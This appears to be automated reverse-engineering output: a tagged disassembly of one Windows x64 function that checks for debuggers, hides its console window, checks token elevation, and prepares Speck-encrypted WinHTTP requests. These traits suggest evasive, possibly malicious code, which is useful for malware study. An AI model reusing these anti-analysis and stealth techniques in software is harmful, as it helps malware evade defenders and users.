Function at 0x14000664e
Capabilities:
Access peb ldr_data
Check for debugger via api
Encrypt data using speck
Initialize winhttp library
Prepare http request

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x87d8
call fcn.140055640
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x8740], xmm15
movdqa xmmword [rbp + 0x8730], xmm14
movdqa xmmword [rbp + 0x8720], xmm13
movdqa xmmword [rbp + 0x8710], xmm12
movdqa xmmword [rbp + 0x8700], xmm11
movdqa xmmword [rbp + 0x86f0], xmm10
movdqa xmmword [rbp + 0x86e0], xmm9
movdqa xmmword [rbp + 0x86d0], xmm8
movdqa xmmword [rbp + 0x86c0], xmm7
movdqa xmmword [rbp + 0x86b0], xmm6
mov qword [rbp + 0x86a8], 0xfffffffffffffffe
mov qword [rbp + 0x8688], rdx
movzx eax, byte [rcx + 0x4198]
test eax, eax
mov qword [rbp + 0x8668], rcx
je 0x14000676a
cmp eax, 3
jne 0x14000d7f7
mov rdx, rcx
lea rdi, [rcx + 0x4190]
movzx eax, byte [rcx + 0x4190]
lea rsi, [rcx + 0xc8]
test eax, eax
je 0x1400068cb
cmp eax, 3
jne case.default.0x14000675c
lea rax, [rdx + 0x2159]
mov qword [rbp + 0x8680], rax
movzx eax, byte [rdx + 0x2159]
lea rcx, [rdx + 0xd0]
mov qword [rbp + 0x86a0], rcx
lea rcx, [0x14006e480]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbp + 0x8650], rsi
mov qword [rbp + 0x8678], rdi
jmp rax
mov r12, qword [rdx + 0x2150]
jmp 0x140007e77
call sub.KERNEL32.dll_IsDebuggerPresent
mov esi, eax
lea rdi, [rbp - 0x40]
and dword [rdi], 0
call sub.KERNEL32.dll_GetCurrentProcess
mov rcx, rax
mov rdx, rdi
call sub.KERNEL32.dll_CheckRemoteDebuggerPresent
cmp esi, 1
je 0x14000d687
cmp dword [rbp - 0x40], 1
je 0x14000d687
call sub.KERNEL32.dll_GetConsoleWindow
test rax, rax
je 0x1400067af
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
call fcn.140047080
mov rcx, qword [rbp + 0x8668]
mov qword [rcx], rax
mov dword [rcx + 8], edx
lea rsi, [rbp + 0x6070]
mov rcx, rsi
call fcn.1400541df
cmp byte [rsi], 0x12
jne 0x14000d803
lea rdx, [0x14006d8e0]
push 0xa
pop r8
mov rcx, rsi
call fcn.140054312
cmp byte [rsi], 0x12
jne 0x14000d82e
mov rax, qword [rbp + 0x8668]
lea r12, [rax + 0x10]
mov r15, qword [rbp + 0x6078]
and qword [rdi], 0
call sub.KERNEL32.dll_GetCurrentProcess
push 8
pop rdx
mov rcx, rax
mov r8, rdi
call sub.ADVAPI32.dll_OpenProcessToken
push 2
pop rcx
push 4
pop rdx
call sub.KERNEL32.dll_GlobalAlloc
mov rbx, rax
mov rcx, rax
call sub.KERNEL32.dll_GlobalLock
mov r14, rax
mov dword [rbp + 0x6070], 4
mov rcx, qword [rdi]
mov qword [rsp + 0x20], rsi
push 0x14
pop rdx
push 4
pop r9
mov r8, rax
call sub.ADVAPI32.dll_GetTokenInformation
mov esi, dword [r14]
cmp qword [rdi], 0
je 0x140006869
mov rcx, rbx
call sub.KERNEL32.dll_GlobalFree
cmp esi, 1
mov rax, qword [rbp + 0x8668]
movabs rcx, 0x8000000000000000
mov qword [rax + 0x10], rcx
mov qword [rax + 0x28], rcx
mov qword [rax + 0x40], rcx
mov qword [rax + 0x58], rcx
mov qword [rax + 0x70], rcx
mov qword [rax + 0x88], rcx
mov qword [rax + 0xa0], rcx
sete byte [rax + 0xc0]
mov qword [rax + 0xb8], r15
lea rsi, [rax + 0xc8]
mov qword [rax + 0xc8], r12
lea rdi, [rax + 0x4190]
mov byte [rax + 0x4190], 0
jmp 0x1400068ce
mov r12, qword [rsi]
lea rdx, [0x14005aab8]
lea rcx, [rbp + 0x83e0]
push 0x25
pop r8
call fcn.1400145de
cmp qword [r12 + 0xa8], 0
je 0x14000d727
mov qword [rbp + 0x8678], rdi
mov qword [rbp + 0x8650], rsi
mov qword [rbp + 0x8648], r12
lea rdx, [r12 + 0xa8]
lea rsi, [rbp + 0x6070]
lea r8, [rbp + 0x83e0]
mov rcx, rsi
mov qword [rbp + 0x8690], rdx
call fcn.140002e75
cmp byte [rsi], 0x12
jne 0x14000d733
lea rcx, [rbp + 0x6078]
mov rax, qword [rcx]
mov r12, qword [rcx + 8]
imul r13, qword [rcx + 0x10], 0x30
lea rcx, [r12 + r13]
mov qword [rbp + 0x85a0], r12
mov qword [rbp + 0x85b0], rax
mov qword [rbp + 0x86a0], rcx
mov qword [rbp + 0x85b8], rcx
lea r14, [r12 + 0x30]
lea rsi, str.h:3Qu
push 4
pop rdi
lea rbx, [rbp + 0x6070]
test r13, r13
je 0x140006a3f
mov rax, qword [r12]
mov rcx, qword [r12 + 0x28]
mov qword [rbp + 0x4070], rcx
movups xmm0, xmmword [r12 + 0x18]
movaps xmmword [rbp + 0x4060], xmm0
movups xmm0, xmmword [r12 + 8]
movaps xmmword [rbp + 0x4050], xmm0
test rax, rax
je 0x140006a46
mov qword [rbp + 0x6070], rax
mov rax, qword [rbp + 0x4070]
lea rcx, [rbp + 0x6078]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rbp + 0x4050]
movdqa xmm1, xmmword [rbp + 0x4060]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
lea r15, [rbp + 0x8480]
mov rcx, r15
mov rdx, rsi
mov r8, rdi
call fcn.1400145de
mov rcx, rbx
mov rdx, r15
call fcn.140002ca0
test rax, rax
jne 0x140006a63
add r12, 0x30
mov rcx, qword [rbp + 0x8480]
mov rdx, qword [rbp + 0x8488]
call fcn.140037dd5
mov rcx, rbx
call fcn.14000339e
add r14, 0x30
add r13, 0xffffffffffffffd0
jmp 0x140006980
mov r14, qword [rbp + 0x86a0]
mov qword [rbp + 0x85a8], r14
movabs rbx, 0x8080808080808080
mov r12, qword [rbp + 0x8648]
jmp 0x140006b2b
mov qword [rbp + 0x85a8], r14
lea rcx, [rbp + 0x8390]
mov qword [rcx], rax
lea rax, [rbp + 0x8550]
mov qword [rax], rcx
lea rcx, [0x14006d5f0]
lea rdx, [rbp - 0x40]
mov qword [rdx], rcx
push 1
pop rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
lea r8, [0x140053cb2]
mov qword [rax + 8], r8
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], rcx
lea rsi, [rbp + 0x84f0]
mov rcx, rsi
call fcn.140004d14
mov rdi, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rbx, [rbp - 0x40]
mov rcx, rbx
mov rdx, rdi
call fcn.1400065f2
mov r12, qword [rbp + 0x8648]
mov rcx, qword [r12]
mov rdx, qword [r12 + 8]
call fcn.1400195b2
mov rax, qword [rbx + 0x10]
mov qword [r12 + 0x10], rax
movups xmm0, xmmword [rbx]
movups xmmword [r12], xmm0
mov rcx, qword [rsi]
mov rdx, rdi
call fcn.140037dd5
mov rcx, qword [rbp + 0x8480]
mov rdx, qword [rbp + 0x8488]
call fcn.140037dd5
lea rcx, [rbp + 0x6070]
call fcn.14000339e
movabs rbx, 0x8080808080808080
lea rcx, [rbp + 0x85a0]
call fcn.1400034f8
lea rdx, [0x14005ab14]
lea rcx, [rbp + 0x82f0]
push 0x35
pop r8
call fcn.1400145de
mov rdx, qword [rbp + 0x8690]
cmp qword [rdx], 0
je 0x14000d75e
lea r13, [rbp + 0x6070]
lea r8, [rbp + 0x82f0]
mov rcx, r13
call fcn.140002e75
cmp byte [r13], 0x12
jne 0x14000d76a
lea rdx, [rbp + 0x6080]
mov rcx, qword [rdx - 8]
mov rax, qword [rdx]
imul r8, qword [rdx + 8], 0x30
add r8, rax
mov qword [rbp + 0x84f0], rax
mov qword [rbp + 0x84f8], rax
mov qword [rbp + 0x8500], rcx
mov qword [rbp + 0x8508], r8
lea rcx, [r12 + 0x18]
mov qword [rbp + 0x8698], rcx
lea rcx, [r12 + 0x30]
mov qword [rbp + 0x8680], rcx
lea r15, [rbp + 0x4050]
lea r14, [rbp - 0x40]
mov qword [rbp + 0x8660], r8
cmp rax, r8
je 0x140007018
lea r9, [rax + 0x30]
mov rcx, qword [rax]
mov rdx, qword [rax + 0x28]
mov qword [rbp + 0x85c0], rdx
movups xmm0, xmmword [rax + 0x18]
movaps xmmword [rbp + 0x85b0], xmm0
movups xmm0, xmmword [rax + 8]
movaps xmmword [rbp + 0x85a0], xmm0
test rcx, rcx
je 0x140007015
mov qword [rbp + 0x86a0], r9
mov qword [rbp + 0x4050], rcx
mov rax, qword [rbp + 0x85c0]
lea rcx, [rbp + 0x4058]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rbp + 0x85a0]
movdqa xmm1, xmmword [rbp + 0x85b0]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
lea rsi, [rbp + 0x8390]
mov rcx, rsi
lea rdx, str.h:3Qu
push 4
pop r8
call fcn.1400145de
mov rcx, r15
mov rdx, rsi
call fcn.140002ca0
test rax, rax
je 0x140006f00
mov qword [rbp + 0x82b0], rax
lea rax, [0x14006d5f0]
mov qword [rbp - 0x40], rax
push 1
pop rcx
mov qword [rbp - 0x38], rcx
and qword [rbp - 0x20], 0
lea rax, [rbp + 0x82b0]
mov qword [rbp + 0x8480], rax
lea rax, [0x140053cb2]
mov qword [rbp + 0x8488], rax
lea rax, [rbp + 0x8480]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
mov rcx, r13
mov rdx, r14
call fcn.140004d14
mov rsi, qword [rbp + 0x6070]
mov rdi, qword [rbp + 0x6078]
mov r8, qword [rbp + 0x6080]
lea rcx, [rbp + 0x8550]
mov rdx, rdi
call fcn.1400065f2
mov rcx, rsi
mov rdx, rdi
call fcn.140037dd5
mov rdx, qword [rbp + 0x8558]
mov r8, qword [rbp + 0x8560]
lea rcx, [rbp + 0x83e0]
push 0x22
pop r9
call fcn.140004e37
mov r8, qword [rbp + 0x83e8]
mov rsi, qword [rbp + 0x83f0]
lea rcx, [rbp + 0x6080]
push 0x7c
pop rdx
mov r9, rsi
call fcn.1400043b1
and qword [rbp + 0x6070], 0
mov qword [rbp + 0x6078], rsi
mov word [rbp + 0x60b0], 1
mov rcx, r13
call fcn.1400061ab
test rax, rax
je 0x14000d425
mov rsi, rax
mov rdi, rdx
mov rcx, r14
call fcn.140005481
cmp qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
jne 0x14000d4b6
mov rbx, qword [rbp - 0x30]
mov qword [rbx], rsi
mov qword [rbx + 8], rdi
mov qword [rbp + 0x8480], rcx
mov qword [rbp + 0x8488], rbx
mov qword [rbp + 0x8490], 1
push 9
pop rcx
mov rdi, r14
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
push 0x18
pop r12
push 1
pop r13
mov rcx, r14
call fcn.1400061ab
test rax, rax
je 0x140006e04
mov rsi, rax
mov rdi, rdx
cmp r13, qword [rbp + 0x8480]
jne 0x140006deb
lea rcx, [rbp + 0x8480]
call fcn.140004f0f
mov rbx, qword [rbp + 0x8488]
mov qword [rbx + r12 - 8], rsi
mov qword [rbx + r12], rdi
inc r13
mov qword [rbp + 0x8490], r13
add r12, 0x10
jmp 0x140006dbc
test r13, r13
je 0x14000d425
and qword [rbp + 0x6070], 0
mov qword [rbp + 0x6078], 1
and qword [rbp + 0x6080], 0
mov qword [rbp - 0x10], 0x20
mov byte [rbp - 8], 3
and qword [rbp - 0x40], 0
and qword [rbp - 0x30], 0
mov rsi, qword [rbp + 0x8480]
mov rdi, qword [rbp + 0x8488]
lea r13, [rbp + 0x6070]
mov qword [rbp - 0x20], r13
lea rax, fcn.14000376a
mov qword [rbp - 0x18], rax
mov rcx, rdi
mov rdx, r14
call fcn.14004c63e
test al, al
movabs rbx, 0x8080808080808080
mov r12, qword [rbp + 0x8648]
jne 0x14000d4d4
movups xmm0, xmmword [rbp + 0x6070]
movaps xmmword [rbp + 0x8480], xmm0
mov rax, qword [rbp + 0x6080]
mov qword [rbp + 0x8490], rax
mov rcx, qword [r12 + 0x18]
mov rdx, qword [r12 + 0x20]
call fcn.1400195b2
mov rax, qword [rbp + 0x8490]
mov rcx, qword [rbp + 0x8698]
mov qword [rcx + 0x10], rax
movdqa xmm0, xmmword [rbp + 0x8480]
movdqu xmmword [rcx], xmm0
mov rcx, rsi
mov rdx, rdi
call fcn.140003779
mov rcx, qword [rbp + 0x83e0]
mov rdx, qword [rbp + 0x83e8]
call fcn.140037dd5
mov rcx, qword [rbp + 0x8550]
mov rdx, qword [rbp + 0x8558]
call fcn.140037dd5
mov rcx, qword [rbp + 0x8390]
mov rdx, qword [rbp + 0x8398]
call fcn.140037dd5
lea rsi, [rbp + 0x8480]
mov rcx, rsi
lea rdx, str.t_9___oJnr
push 0xe
pop r8
call fcn.1400145de
mov rcx, r15
mov rdx, rsi
call fcn.140002ca0
test rax, rax
je 0x140006fe7
mov qword [rbp + 0x8550], rax
lea rax, [0x14006d5f0]
mov qword [rbp - 0x40], rax
push 1
pop rcx
mov qword [rbp - 0x38], rcx
and qword [rbp - 0x20], 0
lea rax, [rbp + 0x8550]
mov qword [rbp + 0x83e0], rax
lea rax, [0x140053cb2]
mov qword [rbp + 0x83e8], rax
lea rax, [rbp + 0x83e0]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
mov rcx, r13
mov rdx, r14
call fcn.140004d14
mov rsi, qword [rbp + 0x6070]
mov rdi, qword [rbp + 0x6078]
mov r8, qword [rbp + 0x6080]
mov rcx, r14
mov rdx, rdi
call fcn.1400065f2
mov rcx, qword [r12 + 0x30]
mov rdx, qword [r12 + 0x38]
call fcn.1400195b2
mov rax, qword [rbp - 0x30]
mov rcx, qword [rbp + 0x8680]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rbp - 0x40]
movdqu xmmword [rcx], xmm0
mov rcx, rsi
mov rdx, rdi
call fcn.140037dd5
mov rcx, qword [rbp + 0x8480]
mov rdx, qword [rbp + 0x8488]
call fcn.140037dd5
mov rcx, r15
call fcn.14000339e
mov rax, qword [rbp + 0x86a0]
mov r8, qword [rbp + 0x8660]
jmp 0x140006bdc
mov r8, r9
lea rcx, [rbp + 0x84f0]
mov qword [rcx + 8], r8
call fcn.1400034f8
lea rdx, [0x14005ac11]
lea rcx, [rbp + 0x80a8]
push 0x28
pop r8
call fcn.1400145de
lea rdx, [0x14005ac60]
push 4
pop r8
lea rdi, [rbp + 0x85a0]
mov rcx, rdi
call fcn.1400145de
lea rdx, [0x14005ac64]
push 0xf
pop r8
mov rcx, r15
call fcn.1400145de
lea rsi, [rbp + 0x6070]
mov qword [rsi], rdi
lea rax, [0x14005ac40]
lea rdx, [rbp - 0x40]
mov qword [rdx], rax
lea rax, [0x1400055e9]
mov qword [rsi + 8], rax
push 2
pop rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rax
mov qword [rdx + 0x10], r13
mov qword [rdx + 0x18], rcx
lea rdi, [rbp + 0x84f0]
mov rcx, rdi
call fcn.140004d14
mov rcx, qword [rbp + 0x4050]
mov rdx, qword [rbp + 0x4058]
call fcn.140037dd5
mov rcx, qword [rbp + 0x85a0]
mov rdx, qword [rbp + 0x85a8]
call fcn.140037dd5
mov r14, qword [rdi]
mov r15, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
mov rcx, rsi
call fcn.1400541df
cmp byte [rsi], 0x12
jne 0x14000d795
lea rsi, [rbp + 0x84f0]
mov rcx, rsi
mov rdx, r15
mov r8, rdi
call fcn.140054312
cmp byte [rsi], 0x12
jne 0x140007372
mov qword [rbp + 0x8698], r15
mov qword [rbp + 0x8680], r14
mov rax, qword [rbp + 0x84f8]
lea rdx, [rbp + 0x82b0]
mov qword [rdx], rax
lea rsi, [rbp + 0x6070]
lea r8, [rbp + 0x80a8]
mov rcx, rsi
call fcn.140002e75
cmp byte [rsi], 0x12
jne 0x14000d88c
lea rdi, [rbp + 0x6070]
mov rax, qword [rdi + 8]
mov rsi, qword [rdi + 0x10]
imul r15, qword [rdi + 0x18], 0x30
lea rcx, [rbp + 0x8550]
and qword [rcx], 0
mov qword [rcx + 8], 8
and qword [rcx + 0x10], 0
lea rcx, [rsi + r15]
mov qword [rbp + 0x85a0], rsi
mov qword [rbp + 0x85b0], rax
mov qword [rbp + 0x8640], rcx
mov qword [rbp + 0x85b8], rcx
lea rbx, [rsi + 0x30]
push 8
pop rax
mov qword [rbp + 0x8660], rax
xor r14d, r14d
test r15, r15
je 0x14000738a
mov rax, qword [rsi]
mov rcx, qword [rsi + 0x28]
mov qword [rbp + 0x4070], rcx
movups xmm0, xmmword [rsi + 0x18]
movaps xmmword [rbp + 0x4060], xmm0
movups xmm0, xmmword [rsi + 8]
movaps xmmword [rbp + 0x4050], xmm0
test rax, rax
je 0x140007391
mov qword [rbp + 0x6070], rax
mov rax, qword [rbp + 0x4070]
lea rcx, [rbp + 0x6078]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rbp + 0x4050]
movdqa xmm1, xmmword [rbp + 0x4060]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
lea r13, [rbp + 0x83e0]
mov rcx, r13
lea rdx, str.B2_D_1svj_N_D_j_
push 0xb
pop r8
call fcn.1400145de
mov rcx, rdi
mov rdx, r13
call fcn.140002ca0
test rax, rax
je 0x140007346
mov qword [rbp + 0x86a0], rbx
mov r13, rdi
mov qword [rbp + 0x82f0], rax
lea rax, [0x14006d5f0]
mov qword [rbp - 0x40], rax
push 1
pop rcx
mov qword [rbp - 0x38], rcx
and qword [rbp - 0x20], 0
lea rax, [rbp + 0x82f0]
mov qword [rbp + 0x8390], rax
lea rax, [0x140053cb2]
mov qword [rbp + 0x8398], rax
lea rax, [rbp + 0x8390]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rcx, [rbp + 0x8480]
lea rbx, [rbp - 0x40]
mov rdx, rbx
call fcn.140004d14
mov rdi, qword [rbp + 0x8480]
mov r12, qword [rbp + 0x8488]
mov r8, qword [rbp + 0x8490]
mov rcx, rbx
mov rdx, r12
call fcn.1400065f2
cmp r14, qword [rbp + 0x8550]
jne 0x1400072fb
lea rcx, [rbp + 0x8550]
call fcn.1400054bf
mov rax, qword [rbp + 0x8558]
mov qword [rbp + 0x8660], rax
mov r14, qword [rbp + 0x8560]
imul rax, r14, 0x18
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp + 0x8660]
mov qword [rdx + rax + 0x10], rcx
movdqu xmm0, xmmword [rbp - 0x40]
movdqu xmmword [rdx + rax], xmm0
mov r14, qword [rbp + 0x8560]
inc r14
mov qword [rbp + 0x8560], r14
mov rcx, rdi
mov rdx, r12
call fcn.140037dd5
mov r12, qword [rbp + 0x8648]
mov rdi, r13
mov rbx, qword [rbp + 0x86a0]
add rsi, 0x30
mov rcx, qword [rbp + 0x83e0]
mov rdx, qword [rbp + 0x83e8]
call fcn.140037dd5
mov rcx, rdi
call fcn.14000339e
add rbx, 0x30
add r15, 0xffffffffffffffd0
jmp 0x1400071b5
mov rcx, qword [rbp + 0x80a8]
mov rdx, qword [rbp + 0x80b0]
call fcn.140037dd5
jmp 0x14000742a
mov rbx, qword [rbp + 0x8640]
lea rcx, [rbp + 0x85a0]
mov qword [rcx + 8], rbx
call fcn.1400034f8
lea rsi, [rbp + 0x8550]
mov rdx, qword [rsi + 8]
mov qword [rsp + 0x20], 1
lea r9, str._____
lea rdi, [rbp - 0x40]
mov rcx, rdi
mov r8, r14
call fcn.140005006
mov rcx, qword [r12 + 0x78]
mov rdx, qword [r12 + 0x80]
call fcn.1400195b2
mov rax, qword [rdi + 0x10]
mov qword [r12 + 0x88], rax
movdqu xmm0, xmmword [rdi]
movdqu xmmword [r12 + 0x78], xmm0
mov rcx, rsi
call fcn.14000390e
mov rcx, qword [rbp + 0x82b0]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp byte [rbp + 0x84f0], 0x12
movabs rbx, 0x8080808080808080
mov r14, qword [rbp + 0x8680]
mov r15, qword [rbp + 0x8698]
je 0x140007436
lea rcx, [rbp + 0x84f0]
call fcn.140003560
mov rcx, r14
mov rdx, r15
call fcn.140037dd5
lea rdx, [0x14005aba6]
lea rcx, [rbp + 0x8550]
push 0x2a
pop r8
call fcn.1400145de
mov rdx, qword [rbp + 0x8690]
cmp qword [rdx], 0
je 0x14000d7c0
lea rsi, [rbp + 0x6070]
lea r8, [rbp + 0x8550]
mov rcx, rsi
call fcn.140002e75
cmp byte [rsi], 0x12
jne 0x14000d7cc
lea r15, [rbp + 0x6070]
mov rcx, qword [r15 + 8]
mov rax, qword [r15 + 0x10]
imul rdi, qword [r15 + 0x18], 0x30
add rdi, rax
mov qword [rbp + 0x85a0], rax
mov qword [rbp + 0x85b0], rcx
mov qword [rbp + 0x85b8], rdi
lea rcx, [r12 + 0x60]
mov qword [rbp + 0x8698], rcx
lea rcx, [r12 + 0x48]
mov qword [rbp + 0x8690], rcx
pxor xmm8, xmm8
packuswb xmm8, xmm8
movdqa xmm11, xmmword [0x1400595a0]
movdqa xmm12, xmmword [0x1400595b0]
movdqa xmm13, xmmword [0x1400595c0]
movdqa xmm14, xmmword [0x1400595d0]
movdqa xmm15, xmmword [0x1400595e0]
movdqa xmm7, xmmword [0x1400595f0]
movdqa xmm9, xmmword [0x140059600]
movdqa xmm10, xmmword [0x140059610]
movdqa xmm6, xmmword [0x140059630]
mov qword [rbp + 0x8680], rdi
cmp rax, rdi
je 0x140007e36
lea r8, [rax + 0x30]
mov rcx, qword [rax]
mov rdx, qword [rax + 0x28]
mov qword [rbp + 0x4070], rdx
movups xmm0, xmmword [rax + 0x18]
movaps xmmword [rbp + 0x4060], xmm0
movups xmm0, xmmword [rax + 8]
movaps xmmword [rbp + 0x4050], xmm0
test rcx, rcx
je 0x140007e33
mov qword [rbp + 0x8660], r8
mov qword [rbp + 0x6070], rcx
mov rax, qword [rbp + 0x4070]
lea rcx, [rbp + 0x6078]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rbp + 0x4050]
movdqa xmm1, xmmword [rbp + 0x4060]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
lea rsi, [rbp + 0x83e0]
mov rcx, rsi
lea rdx, str.b:U9nLc6432xeonu
push 9
pop r8
call fcn.1400145de
mov rcx, r15
mov rdx, rsi
call fcn.140002ca0
test rax, rax
je 0x1400076af
mov qword [rbp + 0x82f0], rax
lea rax, [0x14006d5f0]
mov qword [rbp - 0x40], rax
push 1
pop rcx
mov qword [rbp - 0x38], rcx
and qword [rbp - 0x20], 0
lea rax, [rbp + 0x82f0]
mov qword [rbp + 0x8390], rax
lea rax, [0x140053cb2]
mov qword [rbp + 0x8398], rax
lea rax, [rbp + 0x8390]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rcx, [rbp + 0x84f0]
lea rdx, [rbp - 0x40]
call fcn.140004d14
mov rsi, qword [rbp + 0x84f0]
mov rdi, qword [rbp + 0x84f8]
mov rdx, qword [rbp + 0x8500]
mov rcx, rdi
lea r14, [0x14005ac09]
mov r8, r14
mov r13, r12
mov r12, rbx
push 2
pop rbx
mov r9, rbx
call fcn.140003c44
test al, al
lea rdx, [0x14005ac0b]
cmovne rdx, r14
lea rcx, [rbp - 0x40]
mov r8, rbx
mov rbx, r12
mov r12, r13
call fcn.14000334d
mov rcx, qword [r13 + 0x60]
mov rdx, qword [r13 + 0x68]
call fcn.1400195b2
mov rax, qword [rbp - 0x30]
mov rcx, qword [rbp + 0x8698]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rbp - 0x40]
movdqu xmmword [rcx], xmm0
mov rcx, rsi
mov rdx, rdi
mov rdi, qword [rbp + 0x8680]
call fcn.140037dd5
mov rcx, qword [rbp + 0x83e0]
mov rdx, qword [rbp + 0x83e8]
call fcn.140037dd5
lea rsi, [rbp + 0x83e0]
mov rcx, rsi
lea rdx, str.h:3Qu
push 4
pop r8
call fcn.1400145de
mov rcx, r15
mov rdx, rsi
call fcn.140002ca0
test rax, rax
je 0x140007e0c
mov qword [rbp + 0x82f0], rax
lea rax, [0x14006d5f0]
mov qword [rbp - 0x40], rax
push 1
pop r14
mov qword [rbp - 0x38], r14
and qword [rbp - 0x20], 0
lea rax, [rbp + 0x82f0]
mov qword [rbp + 0x8390], rax
lea rax, [0x140053cb2]
mov qword [rbp + 0x8398], rax
lea rax, [rbp + 0x8390]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], r14
lea rcx, [rbp + 0x84f0]
lea rdx, [rbp - 0x40]
call fcn.140004d14
mov rsi, qword [rbp + 0x84f0]
mov rdi, qword [rbp + 0x84f8]
mov r8, qword [rbp + 0x8500]
lea rcx, [rbp + 0x8480]
mov rdx, rdi
call fcn.1400065f2
mov rcx, rsi
mov rdx, rdi
call fcn.140037dd5
mov r15, qword [rbp + 0x8488]
mov r12, qword [rbp + 0x8490]
test r12, r12
je 0x1400079e5
js 0x14000d51a
mov al, byte [0x140075320]
xor ecx, ecx
mov rdx, r12
call fcn.140047120
test rax, rax
je 0x14000d51f
cmp r12, 0x10
jb 0x1400079e8
xor ecx, ecx
mov r11, qword [r15 + rcx]
movdqu xmm0, xmmword [r15 + rcx]
pshufd xmm1, xmm0, 0xee
movq rdx, xmm1
mov r8, rdx
or r8, r11
test r8, rbx
jne 0x1400079ea
mov r8, r11
mov r9, r11
mov r10, r11
mov rsi, r11
shr r11d, 8
movd xmm1, r11d
shr rsi, 0x20
movd xmm2, esi
shr r10, 0x28
pshufd xmm3, xmm0, 0x44
movdqa xmm4, xmm0
psrlq xmm4, 0x10
psrlq xmm3, 0x18
movsd xmm3, xmm4
movdqa xmm4, xmm0
punpcklqdq xmm4, xmm1
movd xmm1, r10d
movapd xmm5, xmmword [0x140059570]
andpd xmm3, xmm5
pand xmm4, xmm5
packuswb xmm4, xmm3
pshufd xmm2, xmm2, 0x50
movdqa xmm3, xmmword [0x140059580]
pandn xmm3, xmm2
psllq xmm1, 0x28
movdqa xmm2, xmmword [0x140059590]
pandn xmm2, xmm1
shr r9, 0x30
por xmm2, xmm3
movd xmm1, r9d
shr r8, 0x38
packuswb xmm4, xmmword [0x140059680]
packuswb xmm4, xmm8
por xmm2, xmm4
psllq xmm1, 0x30
movdqa xmm3, xmm11
pandn xmm3, xmm1
movd xmm1, r8d
mov r8d, edx
shr r8d, 8
pand xmm2, xmm11
por xmm3, xmm2
pand xmm3, xmm12
psllq xmm1, 0x38
movdqa xmm2, xmm12
pandn xmm2, xmm1
por xmm2, xmm3
movd xmm1, edx
pshufd xmm1, xmm1, 0x44
movdqa xmm3, xmm13
pandn xmm3, xmm1
movd xmm1, r8d
mov r8d, edx
shr r8d, 0x10
pand xmm2, xmm13
por xmm3, xmm2
pslldq xmm1, 9
movdqa xmm2, xmm14
pandn xmm2, xmm1
movd xmm1, r8d
mov r8d, edx
shr r8d, 0x18
pand xmm3, xmm14
por xmm2, xmm3
pslldq xmm1, 0xa
movdqa xmm3, xmm15
pandn xmm3, xmm1
movd xmm1, r8d
mov r8, rdx
shr r8, 0x20
pand xmm2, xmm15
por xmm3, xmm2
pslldq xmm1, 0xb
movdqa xmm2, xmm7
pandn xmm2, xmm1
movd xmm1, r8d
mov r8, rdx
shr r8, 0x28
pand xmm3, xmm7
por xmm2, xmm3
pshufd xmm1, xmm1, 0
movdqa xmm3, xmm9
pandn xmm3, xmm1
movd xmm1, r8d
pand xmm2, xmm9
por xmm3, xmm2
pslldq xmm1, 0xd
movdqa xmm2, xmm10
pandn xmm2, xmm1
shr rdx, 0x30
pand xmm3, xmm10
por xmm2, xmm3
pand xmm2, xmmword [0x140059620]
movd xmm1, edx
pslldq xmm1, 0xe
por xmm1, xmm2
pand xmm1, xmm6
movdqa xmm2, xmm6
pandn xmm2, xmm0
por xmm2, xmm1
movdqa xmm0, xmm2
paddb xmm0, xmmword [0x140059640]
movdqa xmm1, xmm0
pminub xmm1, xmmword [0x140059650]
pcmpeqb xmm1, xmm0
pand xmm1, xmmword [0x140059660]
por xmm1, xmm2
movdqu xmmword [rax + rcx], xmm1
lea rdx, [rcx + 0x10]
add rcx, 0x20
cmp rcx, r12
mov rcx, rdx
jbe 0x1400077bb
mov rcx, rdx
jmp 0x1400079ea
mov rax, r14
xor ecx, ecx
lea rbx, [r15 + rcx]
mov rdx, r12
sub rdx, rcx
mov qword [rbp + 0x86a0], rdx
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rcx
add r15, r12
mov rax, rbx
xor r12d, r12d
cmp rax, r15
je 0x140007d79
mov r9b, byte [rax]
movzx edx, r9b
test dl, dl
js 0x140007a2a
lea r14, [rax + 1]
jmp 0x140007a96
mov ecx, edx
and ecx, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x140007a7b
movzx r8d, byte [rax + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x140007a89
movzx edx, byte [rax + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
and edx, 0x3f
or edx, r8d
or edx, ecx
cmp edx, 0x110000
je 0x140007d79
lea r14, [rax + 4]
jmp 0x140007a96
lea r14, [rax + 2]
shl ecx, 6
or ecx, r10d
mov edx, ecx
jmp 0x140007a96
lea r14, [rax + 3]
